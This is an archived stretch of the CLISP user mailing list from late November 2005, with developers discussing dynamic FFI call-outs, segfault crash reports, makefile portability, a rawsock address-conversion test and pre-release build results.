sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhF6Y-0004h8-Tt for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 15:41:46 -0800 Received: from mail.gmx.net ([213.165.64.20]) by mail.sourceforge.net with smtp (Exim 4.44) id 1EhF6Y-0006Ag-94 for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 15:41:46 -0800 Received: (qmail invoked by alias); 29 Nov 2005 23:41:39 -0000 Received: from c-67-173-253-16.hsd1.co.comcast.net (EHLO [192.168.0.101]) [67.173.253.16] by mail.gmx.net (mp018) with SMTP; 30 Nov 2005 00:41:39 +0100 X-Authenticated: #9558537 Message-ID: <438CE729.5000408@gmx.net> From: Scott Williams User-Agent: Mozilla Thunderbird 1.0.7 (X11/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <438CAB93.9020304@gmx.net> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: dynamically computed ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 15:42:02 2005 X-Original-Date: Tue, 29 Nov 2005 16:41:29 -0700 I realize the code below shouldn't work anyway, but is there a way to have it print an error message instead of crashing lisp? [1]> (defclass foo () ((a :allocation :proxy))) # [2]> (make-instance 'foo) *** - handle_fault error2 ! address = 0x2151add4 not in [0x2028f004,0x20462694) ! SIGSEGV cannot be cured. Fault address = 0x2151add4. Permanently allocated: 105248 bytes. Currently in use: 3405712 bytes. Free space: 39866 bytes. Sam Steingold wrote: >>* Scott Williams [2005-11-29 12:27:15 -0700]: >> >>What's the best way to get computed DEF-CALL-OUTs? I have some classes >>that need to dynamically create and evaluate DEF-CALL-OUT forms at >>COMPUTE-SLOTS time. Is there a functional version of DEF-CALL-OUT or >>should I use eval? Is there a way to get anonymous call-outs or would I >>need (eval `(def-call-out ,(gensym) ..))? >> >>(defmethod compute-slots :after ((proxy gtk-proxy)) >> (dolist (slot (class-direct-slots proxy)) >> (build-accessor-callouts proxy slot))) >> >>(defun build-accessor-callouts (proxy slot) >> ;; here's what I want: >> (eval `(def-call-out ,(canonical-foriegn-accessor-name proxy slot :setter) >> (:arguments (self c-pointer) >> >>,(canonical-foreign-type slot)) >> (:return-type nil))) >> (eval `(def-call-out ,(canonical-foreign-accessor-name proxy slot :getter) >> (:arguments (self c-pointer)) >> (:return-type ,(canonical-foreign-type >>slot)))) >> >> > >interesting. >how about this: > >(ffi::foreign-library-function > (canonical-foreign-accessor-name proxy slot :setter) > (ffi::foreign-library "mylib.dll") nil > (parse-c-type `(c-function (:arguments ...) (:return-type ...) > (:language ...)))) > > > > From sds@gnu.org Tue Nov 29 15:50:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhFEb-00052q-Dk for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 15:50:05 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhFEY-0003BC-WC for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 15:50:05 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jATNnjXp010020 for ; Tue, 29 Nov 2005 18:49:45 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <871x0zm5k6.fsf@zemdatav.stor.no-ip.org> (Magnus Henoch's message of "Tue, 29 Nov 2005 23:51:05 +0100") References: <87k6ernqd3.fsf@zemdatav.stor.no-ip.org> <871x0zm5k6.fsf@zemdatav.stor.no-ip.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: make mod-check fails for i18n Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 15:51:01 2005 X-Original-Date: Tue, 29 Nov 2005 18:48:47 -0500 > * Magnus Henoch [2005-11-29 23:51:05 +0100]: > >> >> static object bool_char_lconv(char val) { >> switch (val) { >> case 0: return NIL; >> case 1: return T; >> case CHAR_MAX: return S(Kunspecific); >> default: NOTREACHED; >> } >> } >> >> what is val? > > val is 255. > >> how is CHAR_MAX defined on your system? > > It is defined as 0xffU. this is the same as 255. why doesn't bool_char_lconv work? where is CHAR_MAX defined? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com/ http://ffii.org/ http://www.mideasttruth.com/ http://pmw.org.il/ http://www.jihadwatch.org/ http://truepeace.org Winners never quit; quitters never win; idiots neither win nor quit. From sds@gnu.org Tue Nov 29 15:58:58 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhFNC-0005VB-2h for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 15:58:58 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhFNA-0007z9-Qt for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 15:58:58 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jATNwd4L010295 for ; Tue, 29 Nov 2005 18:58:39 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <873blfm5mg.fsf@zemdatav.stor.no-ip.org> (Magnus Henoch's message of "Tue, 29 Nov 2005 23:49:43 +0100") References: <873blfm5mg.fsf@zemdatav.stor.no-ip.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Benchmarks makefile doesn't work with BSD make Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 15:59:01 2005 X-Original-Date: Tue, 29 Nov 2005 18:57:41 -0500 > * Magnus Henoch [2005-11-29 23:49:43 +0100]: > > The makefile in the benchmarks directory doesn't work with (Net)BSD > make. Retrying the build with GNU make doesn't work as expected, as > the MAKE variable is overridden in the main makefile (it is set from > the environment variable with the same name during configure). I thought that this: MAKE=gmake ./configure .... was supposed to work. does it? > I tried to change the benchmarks makefile to be acceptable to both GNU > make and BSD make. This patch seems to work (the CMUCL parts are not > tested): this is not the only gnu makefile there, and I don't think it is worth changing. benchmarks are run only by "developers" (and that includes pre-testers :-) who are savvy enough to be able to use gnu make. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.palestinefacts.org/ http://ffii.org/ http://www.honestreporting.com http://www.mideasttruth.com/ Only a fool has no doubts. From sds@gnu.org Tue Nov 29 16:09:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhFXl-0005xp-9T for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 16:09:53 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhFXj-0005KC-Nk for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 16:09:53 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAU09YUB010759 for ; Tue, 29 Nov 2005 19:09:34 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <87wtirkqux.fsf@zemdatav.stor.no-ip.org> (Magnus Henoch's message of "Tue, 29 Nov 2005 23:53:58 +0100") References: <87wtirkqux.fsf@zemdatav.stor.no-ip.org> Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Checks fail for rawsock Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 16:10:03 2005 X-Original-Date: Tue, 29 Nov 2005 19:08:36 -0500 > * Magnus Henoch [2005-11-29 23:53:58 +0100]: > > (PROGN (SETQ *SA-REMOTE* (HOST->SA "ftp.gnu.org" 21)) T) > # :ADDRTYPE 2> > #(21 0 199 232 41 7 0 0 0 0 0 0 0 0) > # > (RAWSOCK:SOCKADDR-FAMILY (2 16)) > (:ADDRESS "199.232.41.7" 120187079) > [SIMPLE-ERROR]: (STRING= IP (RAWSOCK:CONVERT-ADDRESS TYPE NUMERIC)) must evaluate to a non-NIL value. > ERROR!! ERROR should be T ! I tweaked the test a little bit (in the CVS) to print more information. my current guess is the endianness: DIUC that x86 and powerpc have different endiannesses? at any rate, this test is pretty simple: we are just checking that string<-->number IP address conversion is an involution. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.mideasttruth.com/ http://truepeace.org http://pmw.org.il/ http://www.dhimmi.com/ http://www.iris.org.il To understand recursion, one has to understand recursion first. From sds@gnu.org Tue Nov 29 16:32:29 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhFtd-000768-K9 for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 16:32:29 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhFtb-000171-2y for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 16:32:29 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAU0W64q011617; Tue, 29 Nov 2005 19:32:07 -0500 (EST) To: clisp-list@lists.sourceforge.net, Scott Williams Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <438CE729.5000408@gmx.net> (Scott Williams's message of "Tue, 29 Nov 2005 16:41:29 -0700") References: <438CAB93.9020304@gmx.net> <438CE729.5000408@gmx.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Scott Williams Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: dynamically computed ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 16:33:01 2005 X-Original-Date: Tue, 29 Nov 2005 19:31:08 -0500 > * Scott Williams [2005-11-29 16:41:29 -0700]: > > I realize the code below shouldn't work anyway, but is there a way to > have it print an error message instead of crashing lisp? > > [1]> (defclass foo () ((a :allocation :proxy))) > # > [2]> (make-instance 'foo) > > *** - handle_fault error2 ! address = 0x2151add4 not in > [0x2028f004,0x20462694) ! > SIGSEGV cannot be cured. Fault address = 0x2151add4. > Permanently allocated: 105248 bytes. > Currently in use: 3405712 bytes. > Free space: 39866 bytes. OUCH!!! could you please file a bug report on SF? thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.openvotingconsortium.org/ http://www.palestinefacts.org/ http://www.iris.org.il You can have it good, soon or cheap. Pick two... From marko.kocic@gmail.com Wed Nov 30 00:39:15 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhNUh-00007m-AG for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 00:39:15 -0800 Received: from zproxy.gmail.com ([64.233.162.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhNUg-0002Kq-6g for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 00:39:15 -0800 Received: by zproxy.gmail.com with SMTP id r28so941624nza for ; Wed, 30 Nov 2005 00:39:10 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=l5ljo3TjNNZHZ6HeYV0mf2oK97kB1t0CUUYfUMAiEFDMc91dLwKvpLTf3o/doc5XTckdDDyr6Mt59/164UxbwVcRiAUYfelxvwYlZzwb5yghb2M0w0VWvIrizIxQ/bv0rdm1hKwkr5/DUv9zu4GQZq3CP1/HMVeznh8GJw7WoSc= Received: by 10.36.221.31 with SMTP id t31mr4518512nzg; Wed, 30 Nov 2005 00:39:10 -0800 (PST) Received: by 10.36.221.68 with HTTP; Wed, 30 Nov 2005 00:39:10 -0800 (PST) Message-ID: <9238e8de0511300039t117eeb95g@mail.gmail.com> From: Marko Kocic To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] pre-test for 2.36 In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 30 00:40:02 2005 X-Original-Date: Wed, 30 Nov 2005 09:39:10 +0100 Ok, I built CVS head on windows XP Pro with mingw (gcc 4.0.2) and everything seems to be ok. I used the following to builld it: ./configure --with-mingw --with-module=3Drawsock --build build-mingw The only problem I have is that I am behind a socks proxy so describe doesn't work. Regards, Marko From marko.kocic@gmail.com Wed Nov 30 02:34:03 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhPHm-00078q-4K for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 02:34:02 -0800 Received: from zproxy.gmail.com ([64.233.162.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhPHl-0007cC-Qs for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 02:34:02 -0800 Received: by zproxy.gmail.com with SMTP id r28so960450nza for ; Wed, 30 Nov 2005 02:34:00 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=Mqy6grW4pLVdLpijeYuK6HE0h3dBCB9JvGkjBadPzZ5Qb0Z4BmvZ9xB7sRuNhloidBdoV/wcCT2AC9E1vZP0ayluIvDA2phlaCZrZOxoRq/z/euFiTyOI3uD524O2NSmu9O0ABHwHEIYbnKsiyEEEOODEcEUmXOeCYtlhGl3djo= Received: by 10.36.196.12 with SMTP id t12mr43841nzf; Wed, 30 Nov 2005 02:34:00 -0800 (PST) Received: by 10.36.221.68 with HTTP; Wed, 30 Nov 2005 02:34:00 -0800 (PST) Message-ID: <9238e8de0511300234v68606cffh@mail.gmail.com> From: Marko Kocic To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] pre-test for 2.36 In-Reply-To: <9238e8de0511300039t117eeb95g@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <9238e8de0511300039t117eeb95g@mail.gmail.com> X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 30 02:35:02 2005 X-Original-Date: Wed, 30 Nov 2005 11:34:00 +0100 Tried to build again today with cvs head and got the following error. lisp.exe process just crashes during test phase. I would consider this a showstopper for win32 platform. It should report an error instead of crashing. btw yesterday cvs head (2005-11-29) was ok, todays (2005-11-30) has this er= ror # WARNING: This form contains an error, a mistake, a bug, a blunder, a bungle, a blooper: (NIL) and can therefore not be correctly interpreted, neither today nor tomorrow nor next week nor next month nor next year WARNING: This form contains an error, a mistake, a bug, a blunder, a bungle, a blooper: (NIL NIL NIL NIL NIL NIL) and can therefore not be correctly interpreted, neither today nor tomorrow nor next week nor next month nor next year WARNING: This form contains an error, a mistake, a bug, a blunder, a bungle, a blooper: (NIL NIL NIL NIL NIL NIL NIL NIL NIL NIL NIL) and can therefore not be correctly interpreted, neither today nor tomorrow nor next week nor next month nor next year # WARNING: This form contains an error, a mistake, a bug, a blunder, a bungle, a blooper: (NIL) and can therefore not be correctly interpreted, neither today nor tomorrow nor next week nor next month nor next year WARNING: This form contains an error, a mistake, a bug, a blunder, a bungle, a blooper: (NIL NIL NIL NIL NIL NIL) and can therefore not be correctly interpreted, neither today nor tomorrow nor next week nor next month nor next year WARNING: This form contains an error, a mistake, a bug, a blunder, a bungle, a blooper: (NIL NIL NIL NIL NIL NIL NIL NIL NIL NIL NIL) and can therefore not be correctly interpreted, neither today nor tomorrow nor next week nor next month nor next year " (LET ((F "foo.bar") FWD1 FWD2) (UNWIND-PROTECT (PROGN (WITH-OPEN-FILE (S F :DIRECTION :OUTPUT) (WRITE F :STREAM S) (SETQ FWD1 (FILE-WRITE-DATE S))) (WITH-OPEN-FILE (S F :DIRECTION :PROBE) (LIST (OR (=3D FWD1 (SETQ FWD2 (FILE-WRITE-DATE S))) ( LIST FWD1 FWD2)) (OPEN-STREAM-P S)))) (DELETE-FILE F))) EQUAL-OK: (T NIL) (LET ((F "foo.bar") FWD SIZE DIR DECODED) (UNWIND-PROTECT (PROGN (WITH-OPEN-FILE (S F :DIRECTION :OUTPUT) (WRITE S :STRE AM S) (SETQ FWD (FILE-WRITE-DATE S) SIZE (FILE-LENGTH S))) (SETQ DIR (FIRST (DIRECTORY F :FULL T)) DECODED (SUBSEQ (MULT IPLE-VALUE-LIST (DECODE-UNIVERSAL-TIME FWD)) 0 6)) (LIST (OR (EQUAL (THIRD DIR) DECODED) (LIST DIR FWD DECODED)) (OR (=3D (FOURTH DIR) SIZE) (LIST DIR SIZE)))) (DELETE-FILE F))) EQUAL-OK: (T T) (STRINGP (WITH-OUTPUT-TO-STRING (S) (DESCRIBE (MAKE-ARRAY NIL) S))) *** - handle_fault error2 ! address =3D 0x190881a4 not in [0x19d70000,0x19fa50c4) ! SIGSEGV cannot be cured. Fault address =3D 0x190881a4. Permanently allocated: 87648 bytes. Currently in use: 5416312 bytes. Free space: 5 bytes. make[1]: *** [tests] Error 5 make[1]: Leaving directory `/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/tests' make: *** [check-tests] Error 2 From lisp-clisp-list@m.gmane.org Wed Nov 30 05:39:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhSBZ-0000gK-3a for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 05:39:49 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EhSBX-00014y-KG for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 05:39:49 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EhRA0-0003sm-QO for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 13:34:12 +0100 Received: from c83-248-119-147.bredband.comhem.se ([83.248.119.147]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 30 Nov 2005 13:34:08 +0100 Received: from mange by c83-248-119-147.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 30 Nov 2005 13:34:08 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 17 Message-ID: <87u0dubbal.fsf@zemdatav.stor.no-ip.org> References: <873blfm5mg.fsf@zemdatav.stor.no-ip.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-119-147.bredband.comhem.se Mail-Copies-To: never User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:bhv4ewFgq6fX94DAlF2LOc+v5kc= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Benchmarks makefile doesn't work with BSD make Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 30 05:40:11 2005 X-Original-Date: Wed, 30 Nov 2005 12:54:58 +0100 Sam Steingold writes: > I thought that this: > MAKE=gmake ./configure .... > was supposed to work. > does it? It does. > this is not the only gnu makefile there, and I don't think it is worth > changing. > benchmarks are run only by "developers" (and that includes pre-testers :-) > who are savvy enough to be able to use gnu make. That makes sense. Magnus From sds@gnu.org Wed Nov 30 06:07:44 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhScZ-0002QY-Ne for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 06:07:43 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhScU-0007Ms-2k for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 06:07:43 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jAUE7G7o010360; Wed, 30 Nov 2005 09:07:17 -0500 (EST) To: clisp-list@lists.sourceforge.net, Marko Kocic Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de0511300039t117eeb95g@mail.gmail.com> (Marko Kocic's message of "Wed, 30 Nov 2005 09:39:10 +0100") References: <9238e8de0511300039t117eeb95g@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marko Kocic Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: pre-test for 2.36 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Nov 30 06:08:05 2005 X-Original-Date: Wed, 30 Nov 2005 09:06:19 -0500 > * Marko Kocic [2005-11-30 09:39:10 +0100]: > > The only problem I have is that I am behind a socks proxy so describe > doesn't work. PTC -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il/ http://www.iris.org.il http://www.palestinefacts.org/ http://www.honestreporting.com http://www.dhimmi.com/ http://www.memri.org/ Which should be served first: the chicken salad or the egg salad? From lisp-clisp-list@m.gmane.org Wed Nov 30 06:23:46 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhSs4-0003UD-Vy for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 06:23:44 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EhSs3-0007FN-CN for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 06:23:44 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EhSGr-0003cV-3M for clisp-list@lists.sourceforge.net; Wed, 30 Nov 2005 14:45:17 +0100 Received: from c83-248-119-147.bredband.comhem.se ([83.248.119.147]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 30 Nov 2005 14:45:17 +0100 Received: from mange by c83-248-119-147.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 30 Nov 2005 14:45:17 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 12 Message-ID: <87oe42ba7k.fsf@zemdatav.stor.no-ip.org> References: <87k6ernqd3.fsf@zemdatav.stor.no-ip.org> <871x0zm5k6.fsf@zemdatav.stor.no-ip.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-119-147.bredband.comhem.se Mail-Copies-To: never User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:F1WZrY1pXVTHEXhMJViLlSsOlpk= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: make mod-check fails for i18n Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: 